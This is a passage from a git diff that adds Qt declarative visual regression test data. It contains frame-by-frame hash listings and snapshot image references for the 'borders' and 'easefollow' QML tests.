"ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1808 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1824 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1840 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1856 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1872 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1888 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1904 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1920 + image: "borders.1.png" + } + Frame { + msec: 1936 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1952 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1968 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 1984 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2000 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2016 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2032 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2048 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2064 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2080 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2096 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2112 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2128 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2144 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2160 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2176 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2192 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2208 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2224 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2240 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2256 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2272 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2288 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2304 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2320 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2336 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2352 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2368 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2384 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2400 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2416 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2432 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2448 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2464 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2480 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2496 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2512 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2528 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2544 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2560 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2576 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2592 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2608 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2624 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2640 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2656 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2672 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2688 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2704 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2720 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2736 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2752 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2768 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2784 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2800 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2816 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2832 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2848 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2864 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2880 + image: "borders.2.png" + } + Frame { + msec: 2896 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2912 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2928 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2944 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2960 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2976 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 2992 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3008 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3024 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3040 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3056 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3072 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3088 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3104 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3120 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3136 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3152 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3168 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3184 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3200 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3216 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3232 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3248 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3264 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3280 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3296 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3312 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3328 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3344 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3360 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3376 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3392 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3408 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3424 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3440 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3456 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3472 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3488 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3504 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3520 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3536 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3552 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3568 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3584 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3600 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3616 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3632 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3648 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3664 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3680 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3696 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3712 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3728 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3744 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3760 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3776 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3792 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3808 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3824 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3840 + image: "borders.3.png" + } + Frame { + msec: 3856 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3872 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3888 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3904 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3920 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3936 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3952 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3968 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 3984 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4000 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4016 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4032 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4048 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4064 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4080 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4096 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4112 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4128 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4144 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4160 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4176 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4192 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4208 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4224 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4240 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4256 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4272 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4288 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4304 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4320 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4336 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4352 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4368 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4384 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4400 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4416 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4432 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4448 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4464 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4480 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4496 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4512 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4528 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4544 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4560 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4576 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4592 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4608 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4624 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4640 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4656 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4672 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4688 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4704 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4720 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4736 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4752 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4768 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4784 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4800 + image: "borders.4.png" + } + Frame { + msec: 4816 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4832 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4848 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4864 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4880 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4896 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4912 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4928 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4944 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4960 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4976 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 4992 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5008 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5024 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5040 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5056 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5072 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5088 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5104 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5120 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5136 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5152 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5168 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5184 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5200 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5216 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5232 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5248 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5264 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5280 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5296 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5312 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5328 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5344 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5360 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5376 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5392 + hash: "ab9753116e289c932064144bb0845857" + } + Frame { + msec: 5408 + hash: "ab9753116e289c932064144bb0845857" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.0.png new file mode 100644 index 0000000..21b6afb Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.1.png new file mode 100644 index 0000000..bb8a02b Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.2.png new file mode 100644 index 0000000..da60237 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.3.png new file mode 100644 index 0000000..3e943e8 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.4.png new file mode 100644 index 0000000..4fbaf26 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.4.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.5.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.5.png new file mode 100644 index 0000000..c10d196 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.5.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.6.png b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.6.png new file mode 100644 index 0000000..a672c06 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.6.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.qml b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.qml new file mode 100644 index 0000000..029a2fc --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativeeasefollow/data/easefollow.qml @@ -0,0 +1,1807 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "1f60efdb8704b92c9361daa468a25391" + } + Frame { + msec: 32 + hash: "3bb6a87617e0e5d4922e573eec975886" + } + Frame { + msec: 48 + hash: "268941737e6324d580890b151de621fb" + } + Frame { + msec: 64 + hash: "99c674eccc082d7f0982257a748d93e5" + } + Frame { + msec: 80 + hash: "2970467e8262c8a3f0b11be71245d048" + } + Frame { + msec: 96 + hash: "63cbd06d6bb035d27c18dba49238d8b2" + } + Frame { + msec: 112 + hash: "49f77bb3d323f882c0ec56e1f1040b3a" + } + Frame { + msec: 128 + hash: "40263c5f9b5d2236536163785f832b4d" + } + Frame { + msec: 144 + hash: "dc63b1c21a2027c4beb9c297a3677fbd" + } + Frame { + msec: 160 + hash: "4fab52ea29a819fec032f19dbcbef012" + } + Frame { + msec: 176 + hash: "60b48407a8f8ae2cce7d3e7c8b21991c" + } + Frame { + msec: 192 + hash: "6e542c681092a5ebeef0534fa2bd2d6c" + } + Frame { + msec: 208 + hash: "c7c6471969bbf81efdb86d1695548fc6" + } + Frame { + msec: 224 + hash: "b7f4ad9a49feb400894209c02b94478a" + } + Frame { + msec: 240 + hash: "3eb58b2f5233aead976183c13f241113" + } + Frame { + msec: 256 + hash: "54f2036c50c6d8079fc0cadc01385980" + } + Frame { + msec: 272 + hash: "f297659d75f6e724d72bd548821f4c9f" + } + Frame { + msec: 288 + hash: "112798f080336fc9c603a7e9097dd8aa" + } + Frame { + msec: 304 + hash: "c432e6ec2b53ca43cb7a7325d0cc379b" + } + Frame { + msec: 320 + hash: "4a6d3db3efd665ad7f372bf3f2508ed7" + } + Frame { + msec: 336 + hash: "0befa5dc4d2cc196fed0eb1a3aa75b8f" + } + Frame { + msec: 352 + hash: "a34d010b50d59c362b54e44d69c2df91" + } + Frame { + msec: 368 + hash: "cbdacced50186c87066ce1d46548b27e" + } + Frame { + msec: 384 + hash: "a4060010ae4d3c0973bda48d68f7bd0a" + } + Frame { + msec: 400 + hash: "47353437da587f732f986004c09884d0" + } + Frame { + msec: 416 + hash: "080c348145167bbec671a04da6f7564f" + } + Frame { + msec: 432 + hash: "69dead737c717a076ae3865680341fb4" + } + Frame { + msec: 448 + hash: "1efdc31c5c8fa72fc848877deb6caaa4" + } + Frame { + msec: 464 + hash: "28d7da1e933d0585d03acf4a529e7b42" + } + Frame { + msec: 480 + hash: "bf85534124bf025b7ede0d6c80b8e443" + } + Frame { + msec: 496 + hash: "cdbeb2d51541b1b1eff060efe993db91" + } + Frame { + msec: 512 + hash: "52ad56ae16c8ab523adda8edc512dd87" + } + Frame { + msec: 528 + hash: "61b1937f4c8dd2cb0ddd7031c5bfb3ab" + } + Frame { + msec: 544 + hash: "1b109baba71b16827f90da654af093a3" + } + Frame { + msec: 560 + hash: "d56621362802c8626868f36ba1e7db22" + } + Frame { + msec: 576 + hash: "ee5555ec3ad8760f43bbf5958a925936" + } + Frame { + msec: 592 + hash: "1ed2831144a453af1978605c0e42d17c" + } + Frame { + msec: 608 + hash: "c74d5cdb3395a702269dfa88c8c9d975" + } + Frame { + msec: 624 + hash: "ea98ddd9588cc23fd82a342ec2925ba8" + } + Frame { + msec: 640 + hash: "e76b94d6d57f1a510f7649eaab892562" + } + Frame { + msec: 656 + hash: "022f40b6fe9dbaf8019855234acb3461" + } + Frame { + msec: 672 + hash: "467da4f48aa6aeb113f0797facf157e8" + } + Frame { + msec: 688 + hash: "8df407aadd4d896eb6537e1555a0242f" + } + Frame { + msec: 704 + hash: "122e4671881e31f54e617729f4fbb3b0" + } + Frame { + msec: 720 + hash: "562718f101c3cd7525b890076413df5e" + } + Frame { + msec: 736 + hash: "07feae99ecf4b70eb094fd3e10deca56" + } + Frame { + msec: 752 + hash: "0980d133b1006cc07796023880415163" + } + Frame { + msec: 768 + hash: "7112b6ac97678b3b942c64c5108f0329" + } + Frame { + msec: 784 + hash: "bb9f893a9aaee60ab6c30918552828a4" + } + Frame { + msec: 800 + hash: "65d1f29437aaaea33676757276f1e434" + } + Frame { + msec: 816 + hash: "52adcf2509f3236ac8ef571708e77206" + } + Frame { + msec: 832 + hash: "22df5e7eda8a813531d0e0366cbfbf64" + } + Frame { + msec: 848 + hash: "fe9b7b7812dd2410b8ed2eb19aa78f4d" + } + Frame { + msec: 864 + hash: "141e22de4469f316b5ef5471f3c7bba0" + } + Frame { + msec: 880 + hash: "1125c0a105fc4a2cae36b798058ce23f" + } + Frame { + msec: 896 + hash: "8c17c5da2ae867fb0016a485ba9e4166" + } + Frame { + msec: 912 + hash: "d8da9fc7ec4dcefb894c5a6a71e9d001" + } + Frame { + msec: 928 + hash: "00ff642bea89fd89de394d78f8c5db33" + } + Frame { + msec: 944 + hash: "8549063d517a3ce1ffd44c56b3b6cf5e" + } + Frame { + msec: 960 + image: "easefollow.0.png" + } + Frame { + msec: 976 + hash: "95a642caa72bb31cc1e04ecc12d07cd0" + } + Frame { + msec: 992 + hash: "e65c823476bf920d0386f62ca831e6a0" + } + Frame { + msec: 1008 + hash: "91e8913dc693c91a674a10b5b088dd8f" + } + Frame { + msec: 1024 + hash: "1a469ffa0d530f72c78dc14783891c78" + } + Frame { + msec: 1040 + hash: "6e46a83d07f8bc034b421103ef0e4f8c" + } + Frame { + msec: 1056 + hash: "8ddacab411a8b73b6c9e69576fa1b003" + } + Frame { + msec: 1072 + hash: "41f419a85fe44efe27c9a526d83a1e9a" + } + Frame { + msec: 1088 + hash: "73d4ece31b258f9caf4556ce20a5be1f" + } + Frame { + msec: 1104 + hash: "ef3ebe0acb50386cf79b9f08fbba2fbc" + } + Frame { + msec: 1120 + hash: "c11a84d2fa80f28adb1466409812e987" + } + Frame { + msec: 1136 + hash: "2e9db854b02d28b38063ff2a8e821ed1" + } + Frame { + msec: 1152 + hash: "48e073c0e6b19aea8314629a2179af87" + } + Frame { + msec: 1168 + hash: "77e518b7428d93b67a8fb0d33d85ed97" + } + Frame { + msec: 1184 + hash: "1d18323af9c62e015513451883f8b39f" + } + Frame { + msec: 1200 + hash: "df49889ba157cdc1ca240d08d2760ad7" + } + Frame { + msec: 1216 + hash: "7b8cd2bcf0a4c38ab870f27894a43d2f" + } + Frame { + msec: 1232 + hash: "84f10e0c9fd57dd1799df7fc34c5ef01" + } + Frame { + msec: 1248 + hash: "ead4e609bc4a0755032b1648485b9625" + } + Frame { + msec: 1264 + hash: "9a9829c3bd4a3a4155383c37e21e8db8" + } + Frame { + msec: 1280 + hash: "5008917f60256abad867f32c1caf954d" + } + Frame { + msec: 1296 + hash: "c21455d66ed0754177af5ce44b7c7600" + } + Frame { + msec: 1312 + hash: "e8332f2586d80a2700b610e8fe5c72d9" + } + Frame { + msec: 1328 + hash: "0d0c8af138f98bae8a370ebec4a4796c" + } + Frame { + msec: 1344 + hash: "04065e8feeb900d18deeb941572f7f10" + } + Frame { + msec: 1360 + hash: "992a225b1f25bf5b21dd7f8a55dc4b70" + } + Frame { + msec: 1376 + hash: "8ef739d91ee2a4337cbfc3dc94ce9845" + } + Frame { + msec: 1392 + hash: "46744977a26b37ab65e65e1891ceafe7" + } + Frame { + msec: 1408 + hash: "1b4c0d79eeb8d6b2e30172f3664407b9" + } + Frame { + msec: 1424 + hash: "d572831ed34d14d1125570b8b8767bdb" + } + Frame { + msec: 1440 + hash: "8b785c756d11e0fc18959d0897a45673" + } + Frame { + msec: 1456 + hash: "164a71ffcea63ceb6c1ebeb8d0d07af1" + } + Frame { + msec: 1472 + hash: "e128dc12d5117eed9f7c0a16e8348ba2" + } + Frame { + msec: 1488 + hash: "4c7db5b12d83bf22b1c88ac06ca7c385" + } + Frame { + msec: 1504 + hash: "c7283df8dbd78121e17a5893e3ea4f3c" + } + Frame { + msec: 1520 + hash: "fea768e5bb43f6d86d88ced9f73915de" + } + Frame { + msec: 1536 + hash: "b99b54f8e75452c539bb4e7b6a36e944" + } + Frame { + msec: 1552 + hash: "b7274938d16f03b376ad9739e2e893f1" + } + Frame { + msec: 1568 + hash: "e61601942193add8c1c8ebf5c5319932" + } + Frame { + msec: 1584 + hash: "8fdc2181e0120391505706716ba7e5d7" + } + Frame { + msec: 1600 + hash: "66f737ed28453da5175d6b5e807c374d" + } + Frame { + msec: 1616 + hash: "2e00a7895d61edbe794f0a8000871b30" + } + Frame { + msec: 1632 + hash: "1a279fc6b7c4105eccc4e3bc99481bef" + } + Frame { + msec: 1648 + hash: "bc1dea4d23ca9bc29b72a8c2bde4787b" + } + Frame { + msec: 1664 + hash: "8ef40e0be5fb82b32b365b3d4b85421d" + } + Frame { + msec: 1680 + hash: "ee37c68bf38d5eed4e3e9a31306f6801" + } + Frame { + msec: 1696 + hash: "303d760c87a7a833606c8e9f46cb5fc0" + } + Frame { + msec: 1712 + hash: "cc2563b47c58efd39bec6b4e0f2995bb" + } + Frame { + msec: 1728 + hash: "33f7daf09497510475283d6dc7c51228" + } + Frame { + msec: 1744 + hash: "5b5e2de9934c80bd49e0eb7afd85151d" + } + Frame { + msec: 1760 + hash: "5e6bf706336789ca6b60a82998b70113" + } + Frame { + msec: 1776 + hash: "b4d4a860f49bfb88dd2079862b40b7ec" + } + Frame { + msec: 1792 + hash: "07b571fa55327487e34a592c778beb67" + } + Frame { + msec: 1808 + hash: "cb5b349a536cf75a83734181b3eab92b" + } + Frame { + msec: 1824 + hash: "ce903bb58c5c86f2955e68412893aedf" + } + Frame { + msec: 1840 + hash: "ffa89e879558c83ed538812a93e2fe29" + } + Frame { + msec: 1856 + hash: "562aa66bf537853be82a654542c8b80e" + } + Frame { + msec: 1872 + hash: "dc45dac0cc20220bcc81210fb5506ee2" + } + Frame { + msec: 1888 + hash: "3b429eb827df0800a1ad8b906ea32ef9" + } + Frame { + msec: 1904 + hash: "d6ebaf12515d9e24cdbf6d75080c0b28" + } + Frame { + msec: 1920 + image: "easefollow.1.png" + } + Frame { + msec: 1936 + hash: "9f6d26224055c809dc2f3490cd0ff880" + } + Frame { + msec: 1952 + hash: "5630cc8f0b401f7d81bdceaaae5cce68" + } + Frame { + msec: 1968 + hash: "dafda60467e5e2b99c41543dd191ac2d" + } + Frame { + msec: 1984 + hash: "e053cb07a734278cd111d612883c165e" + } + Frame { + msec: 2000 + hash: "63870f3e99c11707004dab9439d61389" + } + Frame { + msec: 2016 + hash: "14c311a6fab45f828c3a19535ea9edc8" + } + Frame { + msec: 2032 + hash: "13e614446cbfcbfd2a7ecc5f0e8688df" + } + Frame { + msec: 2048 + hash: "173c97f59da05b9347180a4824e60c06" + } + Frame { + msec: 2064 + hash: 